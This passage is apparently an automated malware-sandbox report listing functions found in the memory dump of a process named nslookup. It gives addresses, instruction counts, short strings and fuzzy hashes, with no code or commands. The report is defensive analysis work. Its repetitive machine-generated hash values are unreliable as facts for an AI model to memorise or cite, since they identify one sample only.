Opcode Fuzzy Hash: af44c326e6aa598c5aa6f15f49da124fa59be470015024995c7199a0e579d9f9
Instruction Fuzzy Hash: B2E1793460C241DFC719EF28E5A0B1ABBF2EB8A319F058D6DE5C687252D335D960CB52

Function 02C87900 Relevance: 1.7, Strings: 1, Instructions: 418COMMON

Download Yara Rule

Strings

4`[b, xrefs: 02C87D40

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: 4`[b
API String ID: 0-3962175265
Opcode ID: d84dfbc3a9329bcc9057c1bc6d5ae4b640cc0a09c3cbe569f363c4336e21d525
Instruction ID: e8098dca546073940b73f26a5c33f7d9a3727c79ea43d6c316b70264fe9e82b0
Opcode Fuzzy Hash: d84dfbc3a9329bcc9057c1bc6d5ae4b640cc0a09c3cbe569f363c4336e21d525
Instruction Fuzzy Hash: A4C1BEB95082409BD711BF24C891B2BF7F5EF86358F28881CE9D58B251F335DA58CB62

Function 02C91ED0 Relevance: 1.7, Strings: 1, Instructions: 414COMMON

Download Yara Rule

Strings

", xrefs: 02C921D8

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: ff99a7c9b470f766bfbe338ba90c26ed05b46c28c8c0b3cdbf304a5dfe3f06da
Instruction ID: 4f472883dff2256365fb723c825f03c81416eaeddfbbb9543afe49cdf6f0c230
Opcode Fuzzy Hash: ff99a7c9b470f766bfbe338ba90c26ed05b46c28c8c0b3cdbf304a5dfe3f06da
Instruction Fuzzy Hash: 9ED12AB1A04705ABDF14CE24C89876BB7DAAFC5354F088A2DECD987381D774DA44CB82

Function 02CA8C40 Relevance: 1.7, Strings: 1, Instructions: 412COMMON

Download Yara Rule

Strings

P, xrefs: 02CA8DE6

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: 0af28b10ec69a95413447a6f75e2cd1521041e84d92a17376547d91fa44a8cbb
Instruction ID: dc386f552aea088bf7965cbe531bcd50ae682a1386546764d30a2c53aa3597e0
Opcode Fuzzy Hash: 0af28b10ec69a95413447a6f75e2cd1521041e84d92a17376547d91fa44a8cbb
Instruction Fuzzy Hash: F0D1F4729082664FC71ACE28986071FB7E2EBC5358F158A2CE9B9AB380D775DD05C7C1

Function 02C8F700 Relevance: 1.6, Strings: 1, Instructions: 389COMMON

Download Yara Rule

Strings

0{y, xrefs: 02C8F924, 02C8F92D

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: 0{y
API String ID: 0-51807998
Opcode ID: fa553065215e22b0862d9849356e82fe7d09a25a91e584db2e49fa1416a1eb5f
Instruction ID: 5c04e4430feeb762895c82020cd2cb93c66e72f101c44a433b8ecda8ad8a79e1
Opcode Fuzzy Hash: fa553065215e22b0862d9849356e82fe7d09a25a91e584db2e49fa1416a1eb5f
Instruction Fuzzy Hash: 6BE143B45083818BD724DF18D990B2FBBE1BB86708F50491DE9C8AB391D731DA05CBA7

Function 02CA8390 Relevance: 1.5, Strings: 1, Instructions: 288COMMON

Download Yara Rule

Strings

4`[b, xrefs: 02CA85B0

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID: InitializeThunk
String ID: 4`[b
API String ID: 2994545307-3962175265
Opcode ID: 1e2948b02b860014b20a105de56d80d5c6ccfb464d5a235854866bea6b501941
Instruction ID: 32611a7d6e37c67615bce383852efc5789d2ef7b128c632be66fe4bc1f3133a3
Opcode Fuzzy Hash: 1e2948b02b860014b20a105de56d80d5c6ccfb464d5a235854866bea6b501941
Instruction Fuzzy Hash: 34A1C271A08342ABE721CB54C864BABBBE6EBC535CF544E1CF98497391E731D940CB92

Function 02C89EE0 Relevance: 1.5, Strings: 1, Instructions: 273COMMON

Download Yara Rule

Strings

4, xrefs: 02C89F53

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-350161683
Opcode ID: df71fa910c26aea226791f298934c943be0eb6e28eff3421d6ea89f4b998fae3
Instruction ID: 01e2703d96d52d54303b0e281477ff653091ab9ed4f84492ee0137202732e8b3
Opcode Fuzzy Hash: df71fa910c26aea226791f298934c943be0eb6e28eff3421d6ea89f4b998fae3
Instruction Fuzzy Hash: E0A19C755083028BC324EF28C49066BB3F2FF88748F59CD2DE4C687254EB75AA55DB92

Function 02C82673 Relevance: 1.5, Strings: 1, Instructions: 245COMMON

Download Yara Rule

Strings

O1NO, xrefs: 02C82816

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: O1NO
API String ID: 0-1325606490
Opcode ID: fcd2fd52afea6cd6657817687fb58d93dbe8a710ba85d9242bf6d69588b94ed7
Instruction ID: 52e87a416e07e5f175e49c45812643330c16fa63092f6b149aaea8eaa08807f2
Opcode Fuzzy Hash: fcd2fd52afea6cd6657817687fb58d93dbe8a710ba85d9242bf6d69588b94ed7
Instruction Fuzzy Hash: 8B6176B55083808BC711AF19D894A2ABBF1FF92759F088D1CE8C98B351E339DA11CB57

Function 02C8268A Relevance: 1.5, Strings: 1, Instructions: 241COMMON

Download Yara Rule

Strings

O1NO, xrefs: 02C82816

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: O1NO
API String ID: 0-1325606490
Opcode ID: 72b7f17ce82d9a78a46ffb838ac7899494b1bd90351a633802fdeadee78de6b0
Instruction ID: 9f9181e26af1d82214ba4385bf54b462d4db032b9625b2aa7044b7cdb97bd2c9
Opcode Fuzzy Hash: 72b7f17ce82d9a78a46ffb838ac7899494b1bd90351a633802fdeadee78de6b0
Instruction Fuzzy Hash: 836174B55083809BC311AF19D894A2ABBF1FF92759F088D1CE8C98B251E339DA11CB57

Function 02CA5580 Relevance: 1.4, Strings: 1, Instructions: 198COMMON

Download Yara Rule

Strings

, xrefs: 02CA55D6, 02CA575F, 02CA5733, 02CA55B3, 02CA55BB, 02CA573B

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3019521637
Opcode ID: 17e9b868345288a485ecb7aee03485c048f9299ed75daecc814d82a079a3f80b
Instruction ID: 037ca9cca527d7d709368f94a249ad03c7c6056d1dce6fd894e1f8fbc79f4d78
Opcode Fuzzy Hash: 17e9b868345288a485ecb7aee03485c048f9299ed75daecc814d82a079a3f80b
Instruction Fuzzy Hash: E061E274A083029FD721DE28C8A4B2AFBE6EFC439CF94C91CE59597251D731E951CB12

Function 02CA8190 Relevance: 1.4, Strings: 1, Instructions: 186COMMON

Download Yara Rule

Strings

4`[b, xrefs: 02CA8350

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: 4`[b
API String ID: 0-3962175265
Opcode ID: 5438c8a8b2b3a6332a65326b8c1629c8216836f74ee119bd8321de6a4ae1a6a3
Instruction ID: 3bfde778361bccc950b8cdb378261189a0a51a15f433779d0ef59fa5f3a93d26
Opcode Fuzzy Hash: 5438c8a8b2b3a6332a65326b8c1629c8216836f74ee119bd8321de6a4ae1a6a3
Instruction Fuzzy Hash: DC510531A092019BC7159A19C8A4B3EB7E6EFC575CF588B2CE9D957390C332EC10CB92

Function 02CA4480 Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

, xrefs: 02CA45D6, 02CA45B3, 02CA4556, 02CA4533, 02CA453B, 02CA45BB

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3019521637
Opcode ID: 0e6c6270b108dc10737cec9525a866380945b9a7f1feba439a6662c7cf1a3e88
Instruction ID: 1534ab0cbcbe88b6dbba23d0d85466521f58929d2aa6d02d0449d2518c9a4db5
Opcode Fuzzy Hash: 0e6c6270b108dc10737cec9525a866380945b9a7f1feba439a6662c7cf1a3e88
Instruction Fuzzy Hash: 3341B0346082029BD738DF58D8A4A2EBBF6EFC574DF18881CE4C687251D372E950CB22

Function 02CAA610 Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

;:54, xrefs: 02CAA644, 02CAA64D

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: ;:54
API String ID: 0-2887251705
Opcode ID: 1cd32ff98d1c998d03a547bfd5e4c4887b542b0c65a710516f34d65f0b152c65
Instruction ID: c995a143092ba4891c3e28122ae318bfa82801bf4adc583b7dadfc06a7f645c3
Opcode Fuzzy Hash: 1cd32ff98d1c998d03a547bfd5e4c4887b542b0c65a710516f34d65f0b152c65
Instruction Fuzzy Hash: E441AA74608302AFD7159E14D9A4F2FF7B6EBC5718F64882CE58987291D331D911CF62

Function 02CA4960 Relevance: 1.4, Strings: 1, Instructions: 136COMMON

Download Yara Rule

Strings

, xrefs: 02CA4A76, 02CA4A53, 02CA4A5B

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3019521637
Opcode ID: 5328781ba08089abf8be87d63801dce8248a4a054003f34704edb946528ef758
Instruction ID: 7b9acb7fe1702e61f5dd6868794a9a4e9e5c7e53f44391fd5b16f2f8e2f34d7d
Opcode Fuzzy Hash: 5328781ba08089abf8be87d63801dce8248a4a054003f34704edb946528ef758
Instruction Fuzzy Hash: 8941F735504206EBCF39DF64D864A6EB7AAFF8474CF14891CE89683250D372D960EB51

Function 02CAA7A0 Relevance: 1.4, Strings: 1, Instructions: 134COMMON

Download Yara Rule

Strings

;:54, xrefs: 02CAA7D4, 02CAA7DD

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: ;:54
API String ID: 0-2887251705
Opcode ID: 2ec34a32453316131e7825b861084959a8086669dfa1d925603229a3ad2fd83e
Instruction ID: d8be0b02ca4d6111d4b7db9e74177d9b9079193df45c60011ba6041d486fe175
Opcode Fuzzy Hash: 2ec34a32453316131e7825b861084959a8086669dfa1d925603229a3ad2fd83e
Instruction Fuzzy Hash: 4D419A74608302AFD7119E54D8A4B2EB7F6EFC5758F64882CE58987281D331D912CBA2

Function 02C80729 Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

, xrefs: 02C807BD, 02C80777, 02C80786

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3019521637
Opcode ID: f008be7a147795d889b297705752949098009a6f02a811046263dc684562e80b
Instruction ID: d5c5f407e20929f72d7b333887eef530d704421c63e4e94821449174a52e735b
Opcode Fuzzy Hash: f008be7a147795d889b297705752949098009a6f02a811046263dc684562e80b
Instruction Fuzzy Hash: 46216D35A093419FD770DF20D894AABF3B6EBC5355F588A1CD08897251DB32A950CF82

Function 02C8A1F0 Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

4`[b, xrefs: 02C8A250

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: 4`[b
API String ID: 0-3962175265
Opcode ID: aa7e20338eb7bb675f4663c4e3690527cd103b3e61977e4b2aa95ed47e02771d
Instruction ID: 05f8a189835c380a7eb100de8d36a51ab2baafca55d084da943ab0c4a31e5e06
Opcode Fuzzy Hash: aa7e20338eb7bb675f4663c4e3690527cd103b3e61977e4b2aa95ed47e02771d
Instruction Fuzzy Hash: 7711903150C3428FC715EE60D490A2BB7B2FBC6349F648C2CE495C3251D332DA15CB12

Function 02C90399 Relevance: 1.3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

Strings

4`[b, xrefs: 02C90400

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID: 4`[b
API String ID: 0-3962175265
Opcode ID: 2c9e7df171e89a94034f2a2252d5a91000cede0ecf61640e0e2851ec333dfc61
Instruction ID: 1ff553864bfa647075255b0d5dcd13265b688071d87627bc4d74b3c23d24d088
Opcode Fuzzy Hash: 2c9e7df171e89a94034f2a2252d5a91000cede0ecf61640e0e2851ec333dfc61
Instruction Fuzzy Hash: F6115E71A083429BDB01DF15E49852AF7F6FB9A745F545918E484E3201D331E9508B67

Function 02CA76CB Relevance: .5, Instructions: 481COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64b112d25a4cecfccd62e0fa1a03f2c2ca3e27a16973821c076b684153f2a40e
Instruction ID: eebcec03c5e9e0a87dfc93ac2e7a31bfe70212705811e17d5a04ea769bff263d
Opcode Fuzzy Hash: 64b112d25a4cecfccd62e0fa1a03f2c2ca3e27a16973821c076b684153f2a40e
Instruction Fuzzy Hash: E7F12736A4C655CFC719CF38D85026AB7E2BFC9314F0A4A6DD89197382D731E915CB81

Function 02C6A3F0 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cdc42eeb92d643ba025e61c60c6b6b2c152b78bc3bcec359127e9f0bc94d57e
Instruction ID: fe0f39f1a51f03a9648029b519b9b7e7c06b454a42cf899a56f6f548653eb4dc
Opcode Fuzzy Hash: 3cdc42eeb92d643ba025e61c60c6b6b2c152b78bc3bcec359127e9f0bc94d57e
Instruction Fuzzy Hash: 00F1CB356083418FC724CF29C89476BFBE2AFC9204F08982DE4DA87751EB75E945CB96

Function 02C81DC0 Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfaee09dbb306dae8380de22d9ebb1636218b682c0972036ad511b4fc6ac9674
Instruction ID: b789a06c1923e2f9b703f92742e96ee6f4190f9aa0ae3a8499e60d1ccb4415f8
Opcode Fuzzy Hash: dfaee09dbb306dae8380de22d9ebb1636218b682c0972036ad511b4fc6ac9674
Instruction Fuzzy Hash: 0E515BB45183808BC714EF14C494A2BB7F1FF96358F188A0DE8D99B3A0E375DA45CB96

Function 02CA07E0 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44507f9f604c2c1d37b6d5e06ed740d9bbacf44789427aedc9e6beee1ee453db
Instruction ID: e53f87fe5bb7d42a4042879765c1ef10280d891e196989775d6f20869d239071
Opcode Fuzzy Hash: 44507f9f604c2c1d37b6d5e06ed740d9bbacf44789427aedc9e6beee1ee453db
Instruction Fuzzy Hash: 5F512C716087954FD724DA28C4A07BBF7E2EFCA248F05895DE4D68B386D335EA05C782

Function 02C7DD55 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fb965b5a73f234273bc21c0c2691a69e6bf75e8676ca1b2ba2728adc7216584
Instruction ID: 178973835f71d4fc95c59a6ed392e9c2ce20cd8f5ea6cb3d30e7e15c8d719046
Opcode Fuzzy Hash: 9fb965b5a73f234273bc21c0c2691a69e6bf75e8676ca1b2ba2728adc7216584
Instruction Fuzzy Hash: BA4106B090020187CB25DF18CC92B7773B5FFA6364F098248E9569B3D1F734A200C7A5

Function 02C8FAA0 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1faab5ff2ba59608c3a3f97f54ac975205f95bf4dbd1de3de07bfb85b75fe13
Instruction ID: c46208f1064bf275b86191a960a7b346e637cea2e087c363e53ac3ce425b4b8c
Opcode Fuzzy Hash: e1faab5ff2ba59608c3a3f97f54ac975205f95bf4dbd1de3de07bfb85b75fe13
Instruction Fuzzy Hash: 1651CC74908341CBD720AF14E850B7AB7F1FF85348F54891DE9C8A7290EB358655CB97

Function 02C65C20 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ec4955232c988791b9913d798bed1f89a9d8207a1e23305c56deacb68307e2f
Instruction ID: f8714f0adac0787ea5072eb489c6a18f37307fcd9d8de1467f53be002fa0d56b
Opcode Fuzzy Hash: 9ec4955232c988791b9913d798bed1f89a9d8207a1e23305c56deacb68307e2f
Instruction Fuzzy Hash: C051C1B5A042009FC714DF18C4C8936B7A2FFC93A8F65466DE8998B391D731ED51CB92

Function 02C896C0 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41deb2db147caf414a603084b9022bd4f00a957e698f5a01b083bd03b665a10e
Instruction ID: 94cd45647baee090fa3d60dcffda5a40b5bd5e3ab32136e4ab8d346a1b3a19b2
Opcode Fuzzy Hash: 41deb2db147caf414a603084b9022bd4f00a957e698f5a01b083bd03b665a10e
Instruction Fuzzy Hash: 73510DB450C384AFE200EF15D884A1EBBF8ABA6748F449E0CF1D56B251D3759904CFA7

Function 02C7518E Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84c2b24566a3d9d6b05f5260dec6380a21407550b91ae9e21f6100293d08d10e
Instruction ID: b55732539f487c01a6460c07bc81ac69bfe8a76add0b621d2194387df04c46c4
Opcode Fuzzy Hash: 84c2b24566a3d9d6b05f5260dec6380a21407550b91ae9e21f6100293d08d10e
Instruction Fuzzy Hash: 6B317AB45083419FD304EF10E858B2FFBF9EF96345F44482DE88187241E335C5198B26

Function 02C64B60 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 608b37dfba14305b93db33815757c93df7d2eb92e9354bda027161d552915dbc
Instruction ID: 29a7675ec8425553722ffe8b6af1564887d86e867040153b52738ca6763be9e2
Opcode Fuzzy Hash: 608b37dfba14305b93db33815757c93df7d2eb92e9354bda027161d552915dbc
Instruction Fuzzy Hash: DA31FE396086029BC7389E19D8C8B36B7E1EFC5358F18497DE899C7351D731D952CB81

Function 02C9BBB0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 6ae80115404cfce717545a7dbe77cc43333dec3e23f7990252ffa532b0468395
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 97112933A081D80EC716CD3C9444565BFA31BD353CF5983A9F4B49B2D6D6228D8BC350

Function 02C91720 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 689434a6e26603a0695f01cf84fccc129b07ef7bb0e5c58eae2955e3fe6ef262
Instruction ID: d158fff8fefb2c880733921b1b0f4a4d98d180c40448031a1682b9ce48ba3758
Opcode Fuzzy Hash: 689434a6e26603a0695f01cf84fccc129b07ef7bb0e5c58eae2955e3fe6ef262
Instruction Fuzzy Hash: 3701B1F570034347DF209E10E4C973BB2AAAFC4788F0C083CC84D87600DBB2EA159AA1

Function 02CA716D Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 902cdd0c732b2e11119266c47f46062cc7f51f3bee10d8b5ef6b4eb4941ede55
Instruction ID: 81d168b2f54ea2dfe77ea119a6885a35754ad8595b1ded89ebd8a4a5f06d7806
Opcode Fuzzy Hash: 902cdd0c732b2e11119266c47f46062cc7f51f3bee10d8b5ef6b4eb4941ede55
Instruction Fuzzy Hash: AF11E0B49083418FD201CF64D9A091EFBF6EBAAA48F500C1CF68587712C232DC58CB96

Function 02C80F8A Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87d617ffe7d5c95ea20ab83b84e9b735c0169c4a1dce0e854e5ea2c9dadd475d
Instruction ID: 1c1100cf16594efc44a4560106b54a4003c5d8742988517a5a8b0ad6c5f34ede
Opcode Fuzzy Hash: 87d617ffe7d5c95ea20ab83b84e9b735c0169c4a1dce0e854e5ea2c9dadd475d
Instruction Fuzzy Hash: A42113716083909FD7719E5488406EFBBF1AB8A309F444A2DD8DD57240CB329881CB82

Function 02C67070 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21085d1d12330817ebb1dc84937e96ed01d2b95dbc46d6c4cdc45677174ace8c
Instruction ID: 8cc5e06e0e7521fb2e4280dbd42be951d9d633ee3916c5a40846044249c8ad70
Opcode Fuzzy Hash: 21085d1d12330817ebb1dc84937e96ed01d2b95dbc46d6c4cdc45677174ace8c
Instruction Fuzzy Hash: E3F0CD377A871A0B9710CCBAECC8A76F796E7C514DB0D093DE940C3201D965E90992E0

Function 02C73B7C Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ea2d957eaaec34acaa39ba484acfd058d5c9818d69444eb0a0c14400e453116
Instruction ID: d4e460844d9fb7ba6be728b2df12b2d284853f3ce08c9df8005a90eedfb9f9f3
Opcode Fuzzy Hash: 7ea2d957eaaec34acaa39ba484acfd058d5c9818d69444eb0a0c14400e453116
Instruction Fuzzy Hash: 36F069709082809BD315EB54D894E2EFBF9AF96304F04185CE1C087212D379D9188B67

Function 02C7B330 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52042383ae9116ef5cef2de8b578cd95b58dcf8ae2945c0acd97e50c34331e2f
Instruction ID: 05077cf88259b3565cc8359401a44e57d90ebbee1c6c60412f8d74cdb708acd0
Opcode Fuzzy Hash: 52042383ae9116ef5cef2de8b578cd95b58dcf8ae2945c0acd97e50c34331e2f
Instruction Fuzzy Hash: 45F0E5B1A04250ABDB228964ACC0F37BB9CCBCB368F1D1425E88997102E6619C84C3E6

Function 02CA711B Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2c60000_nslookup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 191c77573941e7eb006a1b050ed23e08e9ea35a05311073067cacc1a4e0bf759
Instruction ID: e3ae289db6be286bf319c4c4186f1886c346245addace21ac10b3084adc9ee1b
Opcode Fuzzy Hash: 191c77573941e7eb006a1b050ed23e08e9ea35a05311073067cacc1a4e0bf759
Instruction Fuzzy Hash: A7F0FB749082418FD205CF64DAA091EFBF2EB9BA09F501C28E68493202C222DC58CB96

Function 02CA1D40 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2271579743.0000000002C60000.00000040.00000001.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

